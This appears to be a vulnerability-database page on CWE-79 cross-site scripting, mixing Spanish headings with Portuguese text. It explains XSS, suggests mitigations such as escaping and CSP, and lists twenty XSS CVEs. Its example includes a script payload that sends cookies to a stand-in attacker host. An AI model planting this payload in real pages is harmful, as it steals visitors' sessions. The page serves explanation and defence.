Fallos del tipo CWE-79

30.184 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-57599MEDIUMCross Site Scripting vulnerability in DouPHP v.1.8 Release 20231203 allows attackers to execute arbitrary code via a crafted payload injecteEPSS 0.3%CVE-2025-5529MEDIUMEducenter <= 1.6.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-8507MEDIUMPortabilis i-Educar educar_funcao_lst.php cross site scriptingEPSS 0.3%CVE-2024-13380MEDIUMAlex Reservations: Smart Restaurant Booking <= 2.0.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2024-56365HIGHPhpSpreadsheet vulnerable to unauthorized reflected XSS in the constructor of the Downloader classEPSS 0.3%CVE-2024-34954MEDIUMCode-projects Budget Management 1.0 is vulnerable to Cross Site Scripting (XSS) via the budget parameter.EPSS 0.3%CVE-2023-43065MEDIUM Dell Unity prior to 5.3 contains a Cross-site scripting vulnerability. A low-privileged authenticated attacker can exploit these issues to EPSS 0.3%CVE-2025-5587MEDIUMAppzend <= 1.2.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via progressbarLayout ParameterEPSS 0.3%CVE-2023-51415MEDIUMWordPress GiveWP Plugin <= 3.2.2 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2024-2697MEDIUMSwift Framework < 2024.0.0 - Contributor+ Stored XSS via ShortcodeEPSS 0.3%CVE-2025-40722MEDIUMStored Cross-Site Scripting (XSS) vulnerability on FlatboardEPSS 0.3%CVE-2024-10652MEDIUMCHANGING Information Technology IDExpert - Reflected XSSEPSS 0.3%CVE-2024-8857MEDIUMWordPress Auction <= 3.7 - Editor+ Stored XSSEPSS 0.3%CVE-2025-2540MEDIUMMultiple Plugins <= (Various Versions) - Authenticated (Contributor+) Stored DOM-Based Cross-Site Scripting via prettyPhoto JavaScript LibraryEPSS 0.3%CVE-2024-53709MEDIUMWordPress Generic Elements plugin <= 1.2.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-26930HIGHSmarterTools SmarterMail before 9526 allows XSS via MAPI requests.EPSS 0.3%CVE-2025-7618MEDIUMA stored Cross-Site Scripting (XSS) vulnerability exists in the File Explorer and Text Editor of ADMEPSS 0.3%CVE-2025-49312HIGHWordPress Echo RSS Feed Post Generator Plugin for WordPress plugin <= 5.4.8.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-42235HIGHn8n: XSS via MCP OAuth clientEPSS 0.3%CVE-2026-32277HIGHConnect-CMS has DOM-based Cross-Site Scripting (XSS) in the Cabinet Plugin List ViewEPSS 0.3%